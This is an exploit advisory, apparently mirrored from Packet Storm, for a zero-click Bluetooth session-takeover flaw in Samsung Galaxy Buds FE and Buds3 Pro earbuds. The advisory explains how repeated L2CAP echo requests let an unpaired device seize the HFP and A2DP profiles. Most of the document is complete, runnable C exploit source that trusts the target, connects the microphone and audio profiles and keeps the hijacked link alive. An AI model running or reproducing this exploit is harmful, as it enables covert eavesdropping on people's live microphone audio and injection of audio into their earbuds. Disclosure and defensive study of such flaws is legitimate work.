Share
## https://sploitus.com/exploit?id=PACKETSTORM:225031
MESSAGE HASH (SHA-256): b21f37cdafa7f266a90f694b395bde77aba0a42834cf153f220ceb626ea6564a 
    =========== MESSAGE START ===========
    
    Sticky Door
    
    Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption
    
    Exploiting Seamless Earbud Connection Arbitration to Bypass Pairing Trust Boundaries
    
    CVSS (Estimate) v3.1: 7.4 (High)
    
    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    
        This advisory describes a Bluetooth session-arbitration flaw affecting Samsung Galaxy Buds devices. The issue was reported to Samsung Mobile Security and ultimately classified as "Working as Intended" due to the interaction with the Auto Switching and Seamless Earbud Connection features.
    
    Executive Summary
    
    A Bluetooth Classic session-management flaw allows a nearby, previously unpaired device to influence connection arbitration and obtain control of active audio profiles without user interaction.
    
    During an active audio session, an attacker can trigger repeated L2CAP interactions that cause the earbuds to relinquish ownership of HFP and/or A2DP sessions and transfer control to the attacker's device.
    
    This occurs without pairing mode, hardware pairing interaction, user confirmation, or an existing trust relationship.
    
    Vulnerability Classification
    
    Type: Authentication Bypass / Session Ownership Violation
    
    Component:
    
        Bluetooth RTOS Stack
        L2CAP Session Handling
        Profile Arbitration Logic
        Seamless Earbud Connection
        Auto Switching Infrastructure
    
    Attack Vector: Bluetooth Classic (Adjacent Network)
    
    Affected Devices
    
    Confirmed
    
        Galaxy Buds FE
        Galaxy Buds3 Pro
    
    Potentially Affected
    
    Additional Galaxy Buds models utilizing the same Bluetooth stack and connection arbitration architecture may also be vulnerable.
    
    Tested Firmware
    
    Galaxy Buds FE (SM-R400N)
    
    R400NXXU0AYF1 (June 2025 Rev.1)
    Galaxy Buds3 Pro (SM-R630)
    
    R630XXU0AYJ1 (October 2025 Rev.1)
    
    What Is Being Exploited?
    
    The attack does not target Bluetooth pairing itself.
    
    Instead, it targets the logic responsible for determining which device currently owns the active audio session.
    
    Samsung's Auto Switching and Seamless Earbud Connection features appear to allow active ownership of HFP and A2DP profiles to be influenced through unauthenticated L2CAP activity before sufficient validation of session ownership occurs.
    
    As a result, the hardware pairing button protects the normal pairing workflow but does not appear to protect the underlying profile arbitration mechanism.
    
    Technical Description
    
    Phase 1: L2CAP Session Influence
    
    Repeated L2CAP Echo Requests are transmitted toward the target while the victim is actively using the earbuds.
    
    Observed effects:
    
        Audio stuttering
        Playback interruption
        HFP instability
        Connection state fluctuations
    
    Phase 2: Session Preemption
    
    The earbuds may:
    
        Drop the active host session
        Reassign profile ownership
        Establish an active relationship with the attacker's device
    
    Phase 3: Unauthorized Profile Access
    
    HFP
    
    The attacker may receive microphone audio from the earbuds.
    
    A2DP
    
    The attacker may inject arbitrary audio into the victim's earbuds.
    
    Impact
    
    Privacy Impact
    
    An attacker within Bluetooth range may obtain access to live microphone audio transmitted through HFP.
    
    Integrity Impact
    
    An attacker may inject arbitrary audio through A2DP.
    
    Security Model Impact
    
    The issue undermines the protection provided by Samsung's hardware pairing key by allowing profile ownership changes through the connection arbitration layer.
    
    Vendor Response
    
    Samsung classified the issue as "Working as Intended" and stated that disabling Seamless Earbud Connection prevents the attack scenario.
    
    The author disagrees with this assessment because the observed behavior allows a previously untrusted device to obtain access to active audio profiles without user authorization under default settings.
    
    Code:
    
    dbus.c:
    
    #include "dbus.h"
    #include <stdio.h>
    #include <string.h>
    #include <systemd/sd-bus.h>
    
    void Bluetooth_AddressToPath(const char *addr, char *out, const size_t len) {
        // Here we assume hci0 for now
        snprintf(out, len, "/org/bluez/hci0/dev_");
        const size_t base = strlen(out);
    
        for (size_t i = 0; addr[i] && base + i < len - 1; i++) {
            out[base + i] = (addr[i] == ':') ? '_' : addr[i];
        }
    
        out[base + strlen(addr)] = '\0';
    }
    
    int Bluetooth_SetTrusted(const char *addr, const int trusted) {
        sd_bus *bus = NULL;
        sd_bus_error err = SD_BUS_ERROR_NULL;
    
        int r = sd_bus_open_system(&bus);
        if (r < 0) return r;
    
        char path[128];
        Bluetooth_AddressToPath(addr, path, sizeof(path));
    
        r = sd_bus_set_property(
            bus,
            "org.bluez",
            path,
            "org.bluez.Device1",
            "Trusted",
            &err,
            "b",
            trusted
        );
    
        sd_bus_error_free(&err);
        sd_bus_unref(bus);
        return r;
    }
    
    int Bluetooth_DeviceMethod(const char *addr, const char *method) {
        sd_bus *bus = NULL;
        sd_bus_error err = SD_BUS_ERROR_NULL;
        sd_bus_message *msg = NULL;
    
        int r = sd_bus_open_system(&bus);
        if (r < 0) return r;
    
        char path[128];
        Bluetooth_AddressToPath(addr, path, sizeof(path));
    
        r = sd_bus_call_method(
            bus,
            "org.bluez",
            path,
            "org.bluez.Device1",
            method,
            &err,
            &msg,
            NULL
        );
    
        sd_bus_error_free(&err);
        sd_bus_message_unref(msg);
        sd_bus_unref(bus);
        return r;
    }
    
    int Bluetooth_ConnectProfile(const char *addr, const char *uuid) {
        sd_bus *bus = NULL;
        sd_bus_error err = SD_BUS_ERROR_NULL;
        char path[128];
        Bluetooth_AddressToPath(addr, path, sizeof(path));
    
        sd_bus_open_system(&bus);
        int r = sd_bus_call_method(bus, "org.bluez", path, "org.bluez.Device1",
                                   "ConnectProfile", &err, NULL, "s", uuid);
    
        sd_bus_error_free(&err);
        sd_bus_unref(bus);
        return r;
    }
    
    int Bluetooth_ConnectDevice(const char *addr) {
        return Bluetooth_DeviceMethod(addr, "Connect");
    }
    
    int Bluetooth_DisconnectDevice(const char *addr) {
        return Bluetooth_DeviceMethod(addr, "Disconnect");
    }
    
    int Bluetooth_TrustDevice(const char *addr) {
        return Bluetooth_SetTrusted(addr, 1);
    }
    
    int Bluetooth_UntrustDevice(const char *addr) {
        return Bluetooth_SetTrusted(addr, 0);
    }
    
    dbus.h:
    
    #pragma once
    #include <stdlib.h>
    
    #define A2DP_SINK_UUID "0000110b-0000-1000-8000-00805f9b34fb"
    #define HFP_AG_UUID "0000111f-0000-1000-8000-00805f9b34fb"
    #define HSP_AG_UUID "00001112-0000-1000-8000-00805f9b34fb" 
    
    void Bluetooth_AddressToPath(const char *addr, char *out, size_t len);
    int  Bluetooth_SetTrusted(const char *addr, int trusted);
    int  Bluetooth_DeviceMethod(const char *addr, const char *method);
    int Bluetooth_ConnectProfile(const char *addr, const char *uuid);
    
    int  Bluetooth_ConnectDevice(const char *addr);
    int  Bluetooth_DisconnectDevice(const char *addr);
    int  Bluetooth_TrustDevice(const char *addr);
    int  Bluetooth_UntrustDevice(const char *addr);
    
    logger.c:
    
    #include "logger.h"
    #include <stdarg.h>
    #include <stdlib.h>
    #include <time.h>
    #include <string.h>
    
    static LogLevel g_CurrentLevel = LOG_DEBUG;
    
    static const char *level_str[] = {
        "DEBUG",
        "INFO ",
        "WARN ",
        "ERROR"
    };
    
    static const char *level_color[] = {
        "\x1b[90m", // gray
        "\x1b[32m", // green
        "\x1b[33m", // yellow
        "\x1b[31m"  // red
    };
    
    #define COLOR_RESET "\x1b[0m"
    
    void LogSetLevel(const LogLevel level) {
        g_CurrentLevel = level;
    }
    
    void Log(const LogLevel level, const char* file, const int line, const char* fmt, ...) {
        if (level < g_CurrentLevel) return;
    
        time_t now = time(NULL);
        struct tm *t = localtime(&now);
        char timeBuf[20]; 
        strftime(timeBuf, sizeof(timeBuf), "%H:%M:%S", t);
    
        FILE *out = (level == LOG_ERROR) ? stderr : stdout;
    
        fprintf(out, "%s[%s] %s ",
                    level_color[level],
                    timeBuf,
                    level_str[level]);
    
        va_list args;
        va_start(args, fmt);
        vfprintf(out, fmt, args);
        va_end(args);
    
    #ifdef DEBUG
        fprintf(out, " (%s:%d)", file, line);
    #else
        (void)file;
        (void)line;
    #endif
    
        fprintf(out, "%s\n", COLOR_RESET);
    }
    
    logger.h:
    
    #pragma once
    #include <stdio.h>
    
    typedef enum {
        LOG_DEBUG,
        LOG_INFO,
        LOG_WARN,
        LOG_ERROR
    } LogLevel;
    
    void Log(LogLevel level,
                const char *file,
                int line,
                const char *fmt, ...);
    
    #define LOG_DEBUG(...) Log(LOG_DEBUG, __FILE__, __LINE__, __VA_ARGS__)
    #define LOG_INFO(...)  Log(LOG_INFO,  __FILE__, __LINE__, __VA_ARGS__)
    #define LOG_WARN(...)  Log(LOG_WARN,  __FILE__, __LINE__, __VA_ARGS__)
    #define LOG_ERROR(...) Log(LOG_ERROR, __FILE__, __LINE__, __VA_ARGS__)
    
    main.c:
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <pthread.h>
    #include <signal.h>
    #include <sys/socket.h>
    #include <bluetooth/bluetooth.h>
    #include <bluetooth/l2cap.h>
    
    #include "dbus.h"
    #include "logger.h"
    
    typedef struct {
        int sock;
        char addr[18];
        volatile int running;
        int mode; // 1: A2DP, 2: HFP, 3: Both
    } STL2CP_ExploitContext;
    
    struct L2CAP_Echo_Request {
        uint8_t  code;
        uint8_t  ident;
        uint16_t len;
    } __attribute__((packed));
    
    static STL2CP_ExploitContext* activeCtx = NULL;
    volatile int g_STL2CP_KeepRunning = 1;
    
    void STL2CP_HandleSigInt(const int sig) {
        (void)sig;
        g_STL2CP_KeepRunning = 0;
    }
    
    STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode);
    void STL2CP_StopExploit(STL2CP_ExploitContext* ctx);
    static void* STL2CP_HeartbeatLoop(void* arg);
    
    int main(int argc, char** argv) {
        if (geteuid() != 0) {
            LOG_ERROR("Please run as sudo!");
            return 1;
        }
    
        if (argc < 3) {
            LOG_ERROR("Usage: %s <MAC_ADDR> <mode>", argv[0]);
            LOG_INFO("Modes: \n  1: A2DP Only (Audio Output)\n  2: HFP Only (Microphone)\n  3: Both");
            return 1;
        }
    
        const char* targetAddr = argv[1];
        int mode = atoi(argv[2]);
    
        if (mode < 1 || mode > 3) {
            LOG_ERROR("Invalid mode. Use 1, 2, or 3.");
            return 1;
        }
    
        LOG_INFO("== STL2CP Exploit ==");
        LOG_INFO("Target: %s | Mode: %d", targetAddr, mode);
    
        signal(SIGINT, STL2CP_HandleSigInt);
    
        activeCtx = STL2CP_StartExploit(targetAddr, mode);
        if (!activeCtx) {
            LOG_ERROR("Failed to start exploit");
            return 1;
        }
    
        while (g_STL2CP_KeepRunning) {
            sleep(1);
        }
    
        STL2CP_StopExploit(activeCtx);
        return 0;
    }
    
    STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode) {
        LOG_INFO("Trusting device %s...", addr);
        Bluetooth_TrustDevice(addr);
    
        const int sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP);
        struct sockaddr_l2 sockAddr = { .l2_family = AF_BLUETOOTH };
        str2ba(addr, &sockAddr.l2_bdaddr);
    
        LOG_INFO("Anchoring L2CAP link...");
        if (connect(sock, (struct sockaddr *)&sockAddr, sizeof(sockAddr)) < 0) {
            LOG_ERROR("Link anchoring failed.");
            close(sock);
            return NULL;
        }
    
        LOG_INFO("Triggering BlueZ connection...");
        if (!Bluetooth_ConnectDevice(addr)) {
            LOG_ERROR("DBus Connection failed.");
            return NULL;
        }
    
        usleep(100000);
    
        if (mode == 1 || mode == 3) {
            LOG_INFO("Negotiating A2DP Audio...");
            if (!Bluetooth_ConnectProfile(addr, A2DP_SINK_UUID)) {
                LOG_ERROR("A2DP failed.");
            }
        }
    
        if (mode == 2 || mode == 3) {
            LOG_INFO("Negotiating HFP/HSP (Microphone)...");
            if (!Bluetooth_ConnectProfile(addr, HFP_AG_UUID)) {
                LOG_WARN("HFP failed, trying HSP...");
                Bluetooth_ConnectProfile(addr, HSP_AG_UUID);
            }
        }
    
        STL2CP_ExploitContext* ctx = malloc(sizeof(STL2CP_ExploitContext));
        ctx->sock = sock;
        ctx->running = 1;
        ctx->mode = mode;
        snprintf(ctx->addr, sizeof(ctx->addr), "%s", addr);
    
        pthread_t tid;
        pthread_create(&tid, NULL, STL2CP_HeartbeatLoop, ctx);
        pthread_detach(tid);
        return ctx;
    }
    
    static void* STL2CP_HeartbeatLoop(void* arg) {
        STL2CP_ExploitContext* ctx = arg;
        struct L2CAP_Echo_Request req = { .code = 0x08, .len = 0 };
        uint8_t id = 1;
    
        LOG_INFO("EXPLOIT SUCCESS! YOURE IN!");
        LOG_INFO("Heartbeat thread started for %s - Press CTRL+C to stop and cleanup.", ctx->addr);
        while (ctx->running) {
            if (send(ctx->sock, &req, sizeof(req), 0) < 0) {
                LOG_ERROR("Link lost for %s. Device likely rebooted or out of range.", ctx->addr);
                break;
            }
    
            // This timing is critical otherwise the connection drops
            usleep(100000); 
            req.ident = id++;
            if (id == 0) id = 1;
        }
    
        LOG_INFO("Heartbeat loop finished for %s", ctx->addr);
        close(ctx->sock);
        ctx->sock = -1;
        return NULL;
    }
    
    void STL2CP_StopExploit(STL2CP_ExploitContext* ctx) {
        if (!ctx) return;
        ctx->running = 0;
        LOG_INFO("Cleaning up...");
        Bluetooth_DisconnectDevice(ctx->addr);
        Bluetooth_UntrustDevice(ctx->addr);
        free(ctx);
        LOG_INFO("Done!");
    }
    
    =========== MESSAGE END ===========